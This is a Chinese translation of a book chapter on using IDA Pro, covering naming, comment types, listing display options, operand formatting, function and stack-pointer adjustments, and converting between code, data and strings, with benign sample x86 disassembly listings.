如果你正在编辑全局范围内的名称(如函数名称或全局变量),并且尝试分配数据库中已使用的名称,IDA 将显示冲突名称对话框,如图 图 7-3 所示,自动生成一个唯一的数字后缀以解决冲突。无论你是否选择了“无论如何创建名称”选项,都会显示此对话框。

如果你在函数内部编辑局部名称,并尝试分配一个已使用的名称,默认行为是简单地拒绝尝试。如果你决心使用给定的名称,你必须选择“无论如何创建名称”以强制 IDA 为局部名称生成一个唯一的数字后缀。当然,解决任何名称冲突的最简单方法是选择一个尚未使用的名称。

名称冲突对话框

图 7-3. 名称冲突对话框

寄存器名称

第三种常被忽视的名称类型是寄存器名称。在函数的范围内,IDA 允许重命名寄存器。当编译器选择在寄存器中分配变量而不是在程序堆栈上,而你希望使用比 EDX 更适合其用途的名称来引用变量时,重命名寄存器可能很有用。寄存器重命名的工作方式与在其他位置重命名相同。使用 N 快捷键,或右键单击寄存器名称并选择 重命名 以打开寄存器重命名对话框。当你重命名寄存器时,实际上是在为当前函数的持续时间提供一个别名,以引用寄存器(IDA 甚至在函数开头使用 alias = register 语法来表示这个别名)。IDA 会负责将寄存器名称的所有实例替换为你提供的别名。无法重命名用于不属于函数的代码中的寄存器。

在 IDA 中的注释

IDA 中的另一个有用功能是能够在数据库中嵌入注释。注释是在分析程序时为自己留下关于进度笔记的特别有用的方式。特别是,注释有助于以更高级的形式描述汇编语言指令序列。例如,你可能选择使用 C 语言语句编写注释来总结特定函数的行为。在随后的函数分析中,注释将有助于比重新分析汇编语言语句更快地刷新你的记忆。

IDA 提供了多种注释样式,每种样式都适合不同的目的。可以使用从“编辑”▸“注释”中可用的选项将注释与反汇编列表中的任何一行相关联。快捷键或上下文菜单提供了对 IDA 注释功能的另一种访问方式。为了帮助您理解 IDA 的注释功能,我们参考以下对函数 bar 的反汇编:

.text:00401050 ; =============== S U B R O U T I N E
=======================================
.text:00401050
.text:00401050 ; void bar(int j, int k);
.text:00401050 ; Attributes: bp-based frame
.text:00401050
.text:00401050 
bar       proc near               ; CODE XREF: demo_stackframe+2A,p
.text:00401050
.text:00401050 arg_0     = dword ptr  8
.text:00401050 arg_4     = dword ptr  0Ch
.text:00401050
.text:00401050   push   ebp
.text:00401051   mov   ebp, esp
.text:00401053   sub   esp, 8
.text:00401056  The next three lines test j < k
.text:00401056   mov   eax, [ebp+arg_0]
.text:00401059   cmp   eax, [ebp+arg_4]
.text:0040105C   jge   short loc_40106C ;
 Repeating comments get echoed at referencing locations
.text:0040105E   mov   [esp], offset aTheSecondParam ;
 "The second parameter is larger"
.text:00401065   call  printf
.text:0040106A   jmp   short locret_40108E ; jump to the end of the function
.text:0040106C ; -------------------
--------------------------------------------------------
.text:0040106C
.text:0040106C loc_40106C:                             ; CODE XREF: bar+C·j
.text:0040106C   mov   eax, [ebp+arg_0] ;
 Repeating comments get echoed at referencing locations
.text:0040106F   cmp   eax, [ebp+arg_4]
.text:00401072   jle   short loc_401082
.text:00401074   mov   [esp], offset aTheFirstParame ;
 "The first parameter is larger"
.text:0040107B   call  printf
.text:00401080   jmp   short locret_40108E
.text:00401082 ; -----------------------
----------------------------------------------------
.text:00401082
.text:00401082 loc_401082:                             ; CODE XREF: bar+22·j
.text:00401082   mov   [esp], offset aTheParametersA ;
 "the parameters are equal"
.text:00401089   call  printf
.text:0040108E
.text:0040108E locret_40108E:                          ; CODE XREF: bar+1A·j
.text:0040108E                                         ; bar+30·j
.text:0040108E   leave
.text:0040108F   retn
.text:0040108F bar  endp

IDA 的大多数注释都以前缀分号 (😉 开头,以表明该行剩余部分应被视为注释。这与许多汇编器使用的注释风格相似,在许多脚本语言中相当于 #-style 注释,在 C++ 中相当于 //-style 注释。

常规注释

最直接的注释是 常规注释。常规注释放置在现有汇编行的末尾,如前一个列表中的 所示。在反汇编的右侧边缘右键单击或使用冒号 (😃 快捷键来激活注释输入对话框。如果您在注释输入对话框中输入多行,常规注释将跨越多行。每一行都将缩进以与反汇编的右侧对齐。要编辑或删除注释,您必须重新打开注释输入对话框并相应地编辑或删除所有注释文本。默认情况下,常规注释以蓝色文本显示。

IDA 本身大量使用常规注释。在分析阶段,IDA 插入常规注释来描述正在为函数调用推入的参数。这仅在 IDA 有被调用函数的参数名称或类型信息时发生。这些信息通常包含在类型库中,这在 第八章 和 第十三章 中讨论过,但也可能手动输入。

可重复注释

一个 可重复的注释 是一种只输入一次但可能在反汇编的许多位置自动出现的注释。前一个列表中的位置 展示了一个可重复的注释。在反汇编列表中,可重复注释的默认颜色是蓝色,这使得它们与常规注释难以区分。在这种情况下,重要的是行为而不是外观。可重复注释的行为与交叉引用的概念相关联。当一个程序位置引用包含可重复注释的第二个位置时,与第二个位置关联的注释会在第一个位置被回显。默认情况下,回显的注释以灰色文本显示,使得重复的注释与其他注释可区分。可重复注释的热键是分号 (😉,这使得很容易混淆可重复注释和常规注释。

在前一个列表中,请注意, 处的注释与 处的注释相同。 处的注释被重复,因为 处的指令 (jge short loc_40106C) 引用了 (0040106C) 的地址。

在显示重复注释的位置添加的常规注释会覆盖重复注释,因此只会显示常规注释。如果您在 处输入了常规注释,那么从 继承的可重复注释将不会在 处显示。如果您随后删除了 处的常规注释,可重复注释将再次显示。

与字符串相关联的重复性注释的变体。每当 IDA 自动创建一个字符串变量时,就会在所有引用该字符串变量的位置添加一个虚拟重复性注释。我们称之为“虚拟”,因为用户无法编辑该注释。虚拟注释的内容设置为字符串变量的内容,并在整个数据库中像可重复注释一样显示。因此,任何引用字符串变量的程序位置都会显示字符串变量的内容作为重复注释。标注为 的三个注释展示了由于字符串变量的引用而显示的此类注释。

前后行

前后行 是全行注释,出现在给定反汇编行的前面(前)或后面(后)。这些注释是 IDA 中唯一不带分号字符前缀的注释。前一个列表中的 显示了一个前行注释的例子。您可以通过比较行的地址与该行之前或之后指令的地址来区分前行和后行。

函数注释

函数注释 允许您将注释分组显示在函数反汇编列表的顶部。一个函数注释的示例在 中展示,其中已经输入了函数原型。您可以通过首先突出显示函数名称()在函数顶部,然后添加一个常规或可重复注释来输入函数注释。可重复的函数注释在调用注释函数的任何位置都会被回显。当您使用第八章中讨论的“设置函数类型”命令时,IDA 会自动生成函数原型风格的注释。

基本代码变换

在许多情况下,您会对 IDA 生成的反汇编列表感到非常满意。在某些情况下,您可能不会。随着您分析的类型文件越来越远离由常用编译器生成的普通可执行文件,您可能会发现您需要更多地控制反汇编分析和显示过程。如果您发现自己正在分析混淆代码或使用 IDA 所不熟悉的自定义(未知于 IDA)文件格式的文件,这尤其正确。

IDA 便利的代码变换包括以下内容:

  • 将数据转换为代码

  • 将代码转换为数据

  • 将一系列指令指定为函数

  • 更改现有函数的起始或结束地址

  • 更改指令操作数的显示格式

您对这些操作的使用程度取决于广泛的因素和个人偏好。一般来说,如果一个二进制文件非常复杂,或者 IDA 不熟悉用于构建二进制文件的编译器生成的代码序列,那么 IDA 在分析阶段可能会遇到更多问题,您将需要手动调整反汇编代码。

代码显示选项

你可以对反汇编列表进行的 simplest 变换涉及自定义 IDA 为每条反汇编行生成的信息量。每条反汇编行都可以被视为 IDA 所指的部件集合,不出所料,这些部件被称为 反汇编行部件。标签、助记符和操作数总是存在于反汇编行中。您可以通过在反汇编选项卡上的“选项 ▸ 通用”中,选择为每条反汇编行选择额外的部件,如图 图 7-4 所示。

反汇编行显示选项

图 7-4. 反汇编行显示选项

上右角的 显示反汇编行部件 部分提供了几个选项来定制反汇编行。对于 IDA 的文本反汇编视图,默认选中了行前缀、注释和可重复注释。每个选项在此都有描述,并在随后的列表中展示。

行前缀

行前缀是每条反汇编行的section:address部分。取消选择此选项会导致行前缀从每条反汇编行中移除(在图形视图中默认设置)。为了说明此选项,我们在下一个列表中已禁用行前缀。

栈指针

IDA 对每个函数进行广泛的分析,以跟踪程序栈指针的变化。这种分析对于理解每个函数的栈帧布局至关重要。选择栈指针选项会导致 IDA 在每个函数执行过程中显示栈指针的相对变化。这可能在识别调用约定中的差异(例如,IDA 可能不理解特定函数使用 stdcall)或对栈指针的异常操作时很有用。栈指针跟踪显示在 下的列中。在这个例子中,在第一条指令之后栈指针改变了四个字节,在第三条指令之后总共改变了 0x7C 字节。当函数完成时,栈指针恢复到其原始值(相对变化为零字节)。每当 IDA 遇到函数返回语句并检测到栈指针值不为零时,会标记错误条件并将指令行以红色突出显示。在某些情况下,这可能是故意试图阻碍自动化分析。在其他情况下,可能是一个编译器使用了 IDA 无法准确分析的前置和后置代码。

注释和可重复注释

取消选择这两个选项之一将抑制显示相应的注释类型。如果您希望清理反汇编列表,这可能很有用。

自动注释

IDA 可以自动注释某些指令类型。这可以作为关于特定指令行为的提醒。对于像 x86 的 mov 这样的简单指令不会添加注释。 中的注释是自动注释的示例。用户注释优先于自动注释;在这种情况下,如果您想查看 IDA 对某行的自动注释,您必须删除您添加的任何注释(常规或可重复的)。

错误指令 <BAD> 标记

IDA 可以标记处理器合法但某些汇编器可能无法识别的指令。与非法指令(而不是未记录的)相比,未记录的 CPU 指令可能属于此类。在这种情况下,IDA 将将指令反汇编为一系列数据字节,并将未记录的指令作为以 <BAD> 开头的注释显示。目的是生成大多数汇编器都可以处理的反汇编。有关 <BAD> 标记的使用信息,请参阅 IDA 帮助文件。

操作码字节数

大多数反汇编器都能够生成显示生成的机器语言字节与从中派生出的汇编语言指令并排的列表文件。IDA 允许你通过将十六进制显示与反汇编列表显示同步来查看与每个指令相关的机器语言字节。你可以选择性地通过指定 IDA 应为每个指令显示的机器语言字节数量来查看与汇编语言指令混合的机器语言字节。

当你正在拆解具有固定指令大小的处理器代码时,这相当直接,但对于像 x86 这样的变长指令处理器来说,这要困难一些,因为指令的大小可能从一两个字节到十几个字节不等。无论指令长度如何,IDA 都会在反汇编列表中为这里指定的字节数保留显示空间,将反汇编行的剩余部分推到右边,以适应指定的指令字节数量。以下反汇编中指令字节数量已设置为 5,可在httpatomoreillycomsourcenostarchimages854093.png下的列中看到。httpatomoreillycomsourcenostarchimages854095.png处的加号符号表示,根据当前设置,指定的指令太长而无法完全显示。


000 55                   push    ebp
004 89 E5                mov     ebp, esp
004 83 EC 78             sub     esp, 78h        ; Integer Subtraction
07C 8B 45 10             mov     eax, [ebp+arg_8]
07C 89 45 F4             mov     [ebp+var_C], eax
07C 8B 45 0C             mov     eax, [ebp+arg_4]
07C 89 45 A4             mov     [ebp+var_5C], eax
07C C7 45 A0 0A 00+     mov     [ebp+var_60], 0Ah
07C C6 45 A8 41          mov     [ebp+var_58], 41h
07C 8B 45 A4             mov     eax, [ebp+var_5C]
07C 89 44 24 04          mov     [esp+4], eax
07C 8B 45 A0             mov     eax, [ebp+var_60]
07C 89 04 24             mov     [esp], eax
07C E8 91 FF FF FF       call    bar             ; Call Procedure
07C C9                   leave                   ; High Level Procedure Exit
000 C3                   retn                    ; Return Near from Procedure

你可以通过调整图 7-4 右下角显示的缩进值和边距来进一步自定义反汇编显示。对这些选项的任何更改都仅影响当前数据库。每个这些选项的全局设置存储在主配置文件/cfg/ida.cfg中。

格式化指令操作数

在反汇编过程中,IDA 会就如何格式化与每个指令关联的操作数做出许多决定。最大的决定通常围绕如何格式化各种整数常量,这些常量被各种指令类型广泛使用。这些常量可以表示跳转或调用指令中的相对偏移量、全局变量的绝对地址、用于算术运算的值或程序员定义的常量。为了使反汇编更易于阅读,IDA 尽可能地使用符号名称而不是数字。在某些情况下,格式化决策是基于正在反汇编的指令的上下文(例如调用指令);在其他情况下,决策是基于使用的数据(例如访问全局变量或堆栈帧中的偏移量)。在许多其他情况下,常量被使用的确切上下文可能不清楚。当这种情况发生时,相关的常量通常格式化为十六进制常量。

如果你不是世界上少数几个吃、睡、呼吸十六进制的人之一,那么你将欢迎 IDA 的操作数格式化功能。在反汇编中右键单击任何常数都会打开一个类似于图 7-5 所示的上下文相关菜单。

常数的格式化选项

图 7-5. 常数的格式化选项

在此情况下,菜单选项允许将常数(41h)重新格式化为十进制、八进制或二进制值。由于此示例中的常数位于 ASCII 可打印范围内,因此还提供了一个选项,可以将值格式化为字符常数。在所有情况下,菜单都会显示如果选择特定选项将替换操作数文本的确切文本。

在许多情况下,程序员会在源代码中使用命名常数。这些常数可能是#define语句(或其等效项)的结果,或者它们可能属于一组枚举常数。不幸的是,当编译器完成源代码后,就不再可能确定源代码是否使用了符号常数或字面量、数值常数。IDA 维护了一个与许多常见库(如 C 标准库或 Windows API)关联的命名常数的大型目录。此目录可通过任何常数值相关的上下文相关菜单上的“使用标准符号常数”选项访问。选择图 7-5 中的常数0Ah的此选项将打开图 7-6 所示的符号选择对话框。

符号选择对话框

图 7-6. 符号选择对话框

对话框是从 IDA 的内部常数列表中填充的,根据我们尝试格式化的常数的值进行过滤。在这种情况下,我们看到 IDA 知道等同于值0Ah的所有常数。如果我们确定该值是在创建 X.25 风格的网络连接时使用的,那么我们可能会选择 AF_CCITT,并最终得到以下反汇编行:

.text:004010A2                 mov     [ebp+var_60], AF_CCITT

标准常数的列表是确定特定常数是否可能与已知名称相关联的有用方法,并且可以节省大量时间阅读 API 文档以寻找潜在匹配项。

函数操作

在初始自动分析完成后,你可能会有许多原因想要操作函数。在某些情况下,例如当 IDA 未能定位到函数调用时,函数可能不会被识别,因为没有明显的方法可以到达它们。在其他情况下,IDA 可能无法正确地定位函数的结束,需要你手动干预来纠正反汇编。如果编译器将函数拆分到几个地址范围,或者在优化代码的过程中,编译器合并两个或更多函数的共同结束序列以节省空间,IDA 可能难以定位函数的结束。

创建新函数

在某些情况下,可以在没有函数存在的地方创建新函数。可以从不属于任何函数的现有指令创建新函数,或者可以从 IDA 未以任何其他方式定义的原始数据字节创建新函数(例如双字或字符串)。你通过将光标放在新函数要包含的第一个字节或指令上,然后选择编辑 ▸ 函数 ▸ 创建函数来创建函数。如果需要,IDA 会尝试将数据转换为代码。然后它向前扫描以分析函数的结构并搜索返回语句。如果 IDA 可以定位到函数的合适结束,它将生成一个新的函数名,分析堆栈帧,并以函数的形式重构代码。如果它无法定位函数的结束或遇到任何非法指令,则操作失败。

删除函数

你可以使用编辑 ▸ 函数 ▸ 删除函数来删除现有函数。如果你认为 IDA 在自动分析中出错,你可能想要删除函数。

函数块

函数块通常出现在由 Microsoft Visual C++编译器生成的代码中。块是编译器移动执行频率较低的代码块的结果,以便将频繁执行的块挤压到不太可能被交换出去的内存页中。

当函数以这种方式拆分时,IDA 会尝试通过跟随指向每个块的跳转来定位所有相关的块。在大多数情况下,IDA 能够很好地定位所有块,并在函数的标题中列出每个块,如下面的部分函数反汇编所示:

.text:004037AE ChunkedFunc     proc near
.text:004037AE
.text:004037AE var_420         = dword ptr −420h
.text:004037AE var_41C         = dword ptr −41Ch
.text:004037AE var_4           = dword ptr −4
.text:004037AE hinstDLL        = dword ptr  8
.text:004037AE fdwReason       = dword ptr  0Ch
.text:004037AE lpReserved      = dword ptr  10h
.text:004037AE
.text:004037AE ; FUNCTION CHUNK AT .text:004040D7 SIZE 00000011 BYTES
.text:004037AE ; FUNCTION CHUNK AT .text:004129ED SIZE 0000000A BYTES
.text:004037AE ; FUNCTION CHUNK AT .text:00413DBC SIZE 00000019 BYTES
.text:004037AE
.text:004037AE                 push    ebp
.text:004037AF                 mov     ebp, esp

通过双击与块关联的地址,可以轻松访问函数块,如图所示 链接。在反汇编列表中,函数块由注释表示,这些注释界定它们的指令并引用所属函数,如下列所示:

.text:004040D7 ; START OF FUNCTION CHUNK FOR ChunkedFunc
.text:004040D7
.text:004040D7 loc_0040C0D7:                   ; CODE XREF: ChunkedFunc+72↑j
.text:004040D7                 dec     eax
.text:004040D8                 jnz     loc_403836
.text:004040DE                 call    sub_4040ED
.text:004040E3                 jmp     loc_403836
.text:004040E3 ; END OF FUNCTION CHUNK FOR ChunkedFunc

在某些情况下,IDA 可能无法定位与函数关联的每个块,或者函数可能被错误地识别为块而不是作为独立的函数。在这种情况下,你可能需要创建自己的函数块或删除现有的函数块。

您可以通过选择属于该块的范围地址来创建新的函数块,这些地址必须不属于任何现有函数,并选择“编辑”▸“函数”▸“追加函数尾部”。此时,您将需要从一个包含所有定义函数的列表中选择父函数。

注意

在反汇编列表中,函数块被称为函数块。在 IDA 菜单系统中,函数块被称为函数尾部。

您可以通过将光标定位在要删除的块内的任何一行,并选择“编辑”▸“函数”▸“删除函数尾部”来删除现有的函数块。此时,您将需要确认您的操作,然后再删除所选块。

如果函数块带来的麻烦比它们的价值大,您可以在首次将文件加载到 IDA 时取消选择“创建函数尾部加载器”选项,以请求 IDA 不要创建函数块。此选项是可以通过内核选项(参见第四章)在初始文件加载对话框中访问的加载器选项之一。如果您禁用函数尾部,您可能注意到的主要区别是,原本包含尾部的函数现在包含跳转到函数边界之外的区域的跳转。IDA 使用红色线条和箭头在左侧的汇编窗口中突出显示此类跳转。在对应函数的图形视图中,此类跳转的目标不会显示。

函数属性

IDA 将其识别的每个函数关联到多个属性。如图图 7-7 所示的函数属性对话框可以用来编辑这些属性中的许多。这里解释了可以修改的每个属性。

函数名称

改变函数名称的另一种方法。

起始地址

函数中第一条指令的地址。IDA 通常在分析期间或从创建函数操作期间使用的地址自动确定此地址。

函数编辑对话框

图 7-7。函数编辑对话框

结束地址

函数中最后一条指令之后的地址。在大多数情况下,这是函数返回指令之后的地址。在大多数情况下,此地址在分析阶段或作为函数创建的一部分自动确定。在 IDA 难以确定函数真正结束的情况中,您可能需要手动编辑此值。请记住,此地址实际上不是函数的一部分,而是位于函数的最后一条指令之后。

局部变量区域

这代表分配给局部变量的栈字节数(参见图 6-4)。在大多数情况下,这个值是根据函数内栈指针的行为自动计算的。

保存的寄存器

这是用于保存寄存器的字节数(参见图 6-4),代表调用者的行为。IDA 认为保存的寄存器区域位于保存的返回地址之上,并且位于与函数相关的任何局部变量之下。一些编译器选择在函数的局部变量之上保存寄存器。IDA 认为保存此类寄存器所需的空间属于局部变量区域,而不是专门的保存寄存器区域。

已清除的字节

已清除的字节显示函数返回到其调用者时从栈中移除的参数字节数。对于cdecl函数,此值始终为零。对于stdcall函数,此值表示通过栈传递的任何参数消耗的空间(参见图 6-4)。在 x86 程序中,当 IDA 观察到返回指令的RET N变体使用时,可以自动确定此值。

帧指针增量

在某些情况下,编译器可能会调整函数的帧指针,使其指向局部变量区域的中间位置,而不是局部变量区域底部的保存帧指针。从调整后的帧指针到保存帧指针的距离称为帧指针增量。在大多数情况下,任何帧指针增量都会在分析函数时自动计算。编译器利用栈帧增量作为速度优化。增量目的是将尽可能多的栈帧变量保持在帧指针 1 字节有符号偏移(-128..+127)的范围内。

可用的附加属性复选框可用于进一步描述函数。与其他对话框中的字段一样,这些复选框通常反映了 IDA 的自动分析结果。以下属性可以打开和关闭。

不返回

函数不会返回到其调用者。当调用此类函数时,IDA 不会假设执行会继续跟随相关的调用指令。

远函数

用于在分段架构中将函数标记为远函数。函数的调用者调用函数时需要指定一个段和一个偏移值。使用远调用的需要通常是由程序中使用的内存模型决定的,而不是由架构支持分段的事实决定的,例如,在 x86 上使用(与平坦相对)内存模型。

库函数

将函数标记为库代码。库代码可能包括编译器包含的支持例程或属于静态链接库的函数。将函数标记为库函数会导致函数使用分配的库函数着色显示,以区分非库代码。

静态函数

除了在函数的属性列表中显示静态修饰符外,不做任何事情。

基于 BP 的帧

表示该函数使用帧指针。在大多数情况下,你可以通过分析函数的前导部分自动确定这一点。如果分析未能识别出在给定函数中使用帧指针,你可以手动选择此属性。如果你手动选择此属性,请确保相应地调整保存的寄存器大小(通常增加保存的帧指针的大小)和局部变量大小(通常减少保存的帧指针的大小)。对于基于帧指针的帧,使用帧指针的内存引用格式化为使用符号栈变量名而不是数值偏移。如果未设置此属性,则假定栈帧引用相对于栈指针寄存器。

BP 等于 SP

一些函数在进入函数时会将帧指针配置为指向栈帧的顶部(与栈指针一起)。在这种情况下,应设置此属性。这本质上等同于拥有一个与局部变量区域大小相等的帧指针增量。

栈指针调整

如我们之前提到的,IDA 会尽力跟踪函数中每条指令对栈指针的更改。IDA 在这样做时达到的准确性对函数栈帧布局的准确性有显著影响。当 IDA 无法确定一条指令是否改变了栈指针时,你可能需要手动指定栈指针调整。

这种情况的最直接例子发生在当一个函数调用另一个使用stdcall调用约定的函数时。如果被调用的函数位于 IDA 没有知识的共享库中(IDA 附带许多常见库函数的签名和调用约定知识),那么 IDA 将不知道该函数使用stdcall,并且无法考虑到在返回之前被调用的函数已经修改了栈指针。因此,IDA 将反映一个不准确的栈指针值,直到函数结束。以下函数调用序列,其中some_imported_func位于共享库中,展示了这个问题(注意栈指针行部分选项已被打开):

.text:004010EB   01C      push     eax
    .text:004010F3   020      push     2
    .text:004010FB   024      push     1
   .text:00401102   028      call    some_imported_func
    .text:00401107   028      mov     ebx, eax

由于 some_imported_func 使用 stdcall,它在返回时会清理三个参数从栈中,在 处的正确栈指针值应该是 01C。修复这个问题的方法之一是将手动栈调整与 处的指令关联起来。可以通过突出显示需要调整的地址,选择编辑 ▸ 函数 ▸ 更改栈指针(快捷键 alt-K),并指定栈指针变化的字节数,在这种情况下是 12。

尽管前面的例子有助于说明一个观点,但针对这个问题有一个更好的解决方案。考虑这种情况,some_imported_func 被多次调用。在这种情况下,我们需要在每个调用 some_imported_func 的位置进行我们刚才所做的栈调整。显然,这可能会非常繁琐,我们可能会遗漏某些东西。更好的解决方案是教育 IDA 了解 some_imported_func 的行为。因为我们处理的是一个导入函数,当我们尝试导航到它时,我们最终会到达该函数的导入表条目,该条目看起来可能如下所示:

.idata:00418078   ; Segment type: Externs
.idata:00418078   ; _idata
.idata:00418078         extrn some_imported_func:dword ; DATA XREF: sub_401034↑r

即使这是一个导入函数,IDA 允许你编辑与其行为有关的一块信息:与该函数关联的清除字节数。通过编辑此函数,你可以指定它在返回时从栈中清除的字节数,IDA 将将你提供的信息传播到调用该函数的每个位置,立即纠正那些位置的栈指针计算。

为了提高其自动分析能力,IDA 结合了高级技术,通过解决与栈指针行为相关的线性方程组来尝试解决栈指针差异。因此,你可能甚至没有意识到 IDA 对 some_imported_func 等函数的细节没有任何先验知识。有关这些技术的更多信息,请参阅 Ilfak 的博客文章,标题为“IDA Pro 中的单纯形法”在 hexblog.com/2006/06/

将数据转换为代码(反之亦然)

在自动分析阶段,字节有时会被错误地分类。数据字节可能被错误地分类为代码字节并反汇编成指令,或者代码字节可能被错误地分类为数据字节并以数据值格式化。这种情况可能由许多原因造成,包括一些编译器将数据嵌入到程序的代码部分,或者一些代码字节从未直接作为代码引用,而 IDA 选择不将其反汇编。特别是混淆程序往往会模糊代码段和数据段之间的区别。

无论你希望重新格式化反汇编的原因是什么,这样做都是相当简单的。重新格式化任何内容的第一个选项是移除其当前格式(代码或数据)。可以通过右键单击要取消定义的项目并从结果上下文相关菜单中选择“取消定义”(也可以选择“编辑”▸“取消定义”或使用快捷键 U)来取消定义函数、代码或数据。取消定义项目会导致底层字节以原始字节值的列表形式重新格式化。可以通过使用点击并拖动操作来选择在执行取消定义操作之前的一组地址,从而取消定义大区域。以下是一个简单的函数列表示例:

.text:004013E0 sub_4013E0      proc near
.text:004013E0                 push    ebp
.text:004013E1                 mov     ebp, esp
.text:004013E3                 pop     ebp
.text:004013E4                 retn
.text:004013E4 sub_4013E0      endp

取消定义此函数将产生这里显示的一系列未分类的字节,我们可以选择以几乎任何方式重新格式化:

.text:004013E0 unk_4013E0      db  55h ; U
.text:004013E1                 db  89h ; ë
.text:004013E2                 db 0E5h ; s
.text:004013E3                 db  5Dh ; ]
.text:004013E4                 db 0C3h ; +

要反汇编一系列未定义的字节,右键单击要反汇编的第一个字节,并选择“代码”(也可以选择“编辑”▸“代码”或使用快捷键 C)。这将导致 IDA 反汇编所有字节,直到遇到一个已定义的项目或非法指令。可以通过使用点击并拖动操作来选择在执行代码转换操作之前的一组地址,从而将大区域转换为代码。

将代码转换为数据的互补操作要复杂一些。首先,无法使用上下文菜单将代码转换为数据。可用的替代方案包括“编辑”▸“数据”和 D 快捷键。将指令批量转换为数据的最简单方法是在适当格式化数据之前,首先取消定义所有要转换为数据的指令。基本数据格式化将在下一节中讨论。

基本数据转换

正确格式化的数据在理解程序行为方面可能和正确格式化的代码一样重要。IDA 从各种来源获取信息,并使用许多算法来确定在反汇编中格式化数据的最佳方式。一些示例可以说明如何选择数据格式。

  1. 可以从寄存器使用方式推断数据类型和/或大小。观察到从内存加载 32 位寄存器的指令意味着相关的内存位置持有 4 字节的数据类型(尽管我们可能无法区分 4 字节整数和 4 字节指针)。

  2. 函数原型可以用来为函数参数分配数据类型。IDA 维护了一个大型函数原型库,专门用于此目的。分析函数传递的参数,试图将参数与内存位置关联起来。如果可以揭示这种关系,则可以将数据类型应用于相关的内存位置。考虑一个只有一个参数的函数,该参数是指向 CRITICAL_SECTION(Windows API 数据类型)的指针。如果 IDA 可以确定传递给此函数调用的地址,那么 IDA 可以将该地址标记为 CRITICAL_SECTION 对象。

  3. 对字节序列的分析可以揭示可能的类型。这正是当对二进制文件进行字符串内容扫描时发生的情况。当遇到长序列的 ASCII 字符时,可以合理地假设它们代表字符数组。

在接下来的几节中,我们将讨论一些基本的数据转换,这些转换可以在你的反汇编中执行。

指定数据大小

修改数据的最简单方法就是调整其大小。IDA 提供了一系列数据大小/类型指定符。最常遇到的指定符是dbdwdd,分别代表 1 字节、2 字节和 4 字节的数据。改变数据项大小的第一种方法是通过显示在图 7-8 中的“选项 ▸ 设置数据类型”对话框。

此对话框分为两部分。对话框的左侧包含一列按钮,用于立即更改当前选中项的数据大小。对话框的右侧包含一列复选框,用于配置 IDA 所说的“数据转盘”。请注意,左侧的每个按钮都对应右侧的一个复选框。数据转盘是一个循环列表,包含仅那些复选框被选中的数据类型。修改数据转盘的内容不会立即影响 IDA 显示。相反,数据转盘上的每个类型都会列在当你右键点击数据项时出现的上下文相关菜单中。因此,将数据重新格式化为数据转盘列表中的类型比重新格式化为未列出的类型要容易。考虑到图 7-8 中选定的数据类型,右键点击数据项将为你提供将该项重新格式化为字节、字或双字数据的机会。

数据类型设置对话框

图 7-8. 数据类型设置对话框

数据转盘的名称来源于与之关联的数据格式化快捷键的行为:D。当你按下 D 键时,当前选中的地址处的项目将被重新格式化为数据转盘列表中的下一个类型。在之前指定的三项列表中,当前格式化为db的项目将切换到dw,格式化为dw的项目将切换到dd,格式化为dd的项目将切换回db,以完成转盘的循环。在非数据项(如代码)上使用数据快捷键会导致该项目被格式化为转盘列表中的第一个数据类型(在这种情况下为db)。

在数据类型之间切换会导致数据项增长、缩小或保持相同大小。如果一个项的大小保持不变,那么唯一可观察的变化就是数据格式的方式。如果您减小一个项的大小,例如从dd(4 字节)减小到db(1 字节),任何额外的字节(本例中为 3 个字节)将变为未定义。如果您增加一个项的大小,IDA 会抱怨后续的字节已经定义,并间接地询问您是否希望 IDA 取消定义下一个项以扩展当前项。在这种情况下遇到的提示信息是“直接转换为数据?”此消息通常意味着 IDA 将取消定义足够数量的后续项以满足您的请求。例如,当将字节数据(db)转换为双字数据(dd)时,必须消耗 3 个额外的字节来形成新的数据项。

可以为描述数据的任何位置指定数据类型和大小,包括栈变量。要更改栈分配变量的大小,请通过双击要修改的变量打开详细栈帧视图;然后像任何其他变量一样更改变量的大小。

字符串操作

IDA 识别大量字符串格式。默认情况下,IDA 搜索并格式化 C 风格的空终止字符串。要强制数据转换为字符串,请使用“编辑”▸“字符串”菜单上的选项来选择特定的字符串样式。如果从当前选定的地址开始的字节形成一个所选样式的字符串,IDA 将这些字节组合成一个单字符串变量。在任何时候,您都可以使用 A 快捷键以默认字符串样式格式化当前选定的位置。

有两个对话框负责字符串数据的配置。第一个,如图 7-9 所示,通过“选项”▸“ASCII 字符串样式”访问,尽管在这个例子中,ASCII 有点名不副实,因为这里理解了更广泛的字符串样式。

与数据类型配置对话框类似,左侧的按钮用于在当前选定的位置创建指定样式的字符串。只有当当前位置的数据符合指定的字符串格式时,才会创建字符串。对于字符终止字符串,可以在对话框底部指定最多两个终止字符。对话框右侧的单选按钮用于指定与字符串快捷键(A)使用关联的默认字符串样式。

字符串数据配置

图 7-9. 字符串数据配置

用于配置字符串操作的第二个对话框是“选项 ▸ 一般”对话框,如图 7-10 所示,其中“字符串”选项卡允许配置额外的字符串相关选项。虽然您也可以使用可用的下拉框在此处指定默认字符串类型,但大多数可用选项都涉及字符串数据的命名和显示,而不管它们的类型如何。当选择“生成名称”选项时,对话框右侧的“名称生成”区域才会可见。当关闭名称生成时,字符串变量将以以 asc_ 前缀开始的虚拟名称命名。

IDA 字符串选项

图 7-10. IDA 字符串选项

当启用名称生成时,名称生成选项控制 IDA 如何为字符串变量生成名称。当未选择“生成序列名称”(默认选项)时,指定的前缀将与从字符串中取出的字符结合,生成一个不超过当前最大名称长度的名称。此类字符串的示例如下:

.rdata:00402069 aThisIsACharact db 'This is a Character array',0

名称中使用首字母大写形式,并且在形成名称时省略了在名称中不合法的字符(如空格)。选择“标记为自动生成”选项会使生成的名称以不同的颜色(默认为深蓝色)显示,与用户指定的名称(默认为蓝色)不同。保留大小写强制名称使用字符串中出现的字符,而不是将它们转换为首字母大写形式。最后,生成序列名称会使 IDA 通过附加数字后缀(从“Number”开始)来序列化名称。生成的后缀中数字的位数由“宽度”字段控制。如 图 7-10 所配置,将生成的第一个三个名称将是 a000a001a002

指定数组

从高级语言生成的反汇编列表的一个缺点是它们提供的关于数组大小的线索非常少。在反汇编列表中,如果数组中的每个项目都在其自己的反汇编行中指定,则指定数组可能需要大量的空间。以下列表显示了跟随命名变量 unk_402060 的数据声明。仅列表中的第一个项目被任何指令引用的事实表明,它可能是数组中的第一个元素。数组中的其他元素通常不是直接引用,而是通过更复杂的索引计算来偏移数组起始位置进行引用。

.rdata:00402060 unk_402060      db    0    ; DATA XREF: sub_401350+8↑o
.rdata:00402060                            ; sub_401350+18↑o
.rdata:00402061                 db    0
.rdata:00402062                 db    0
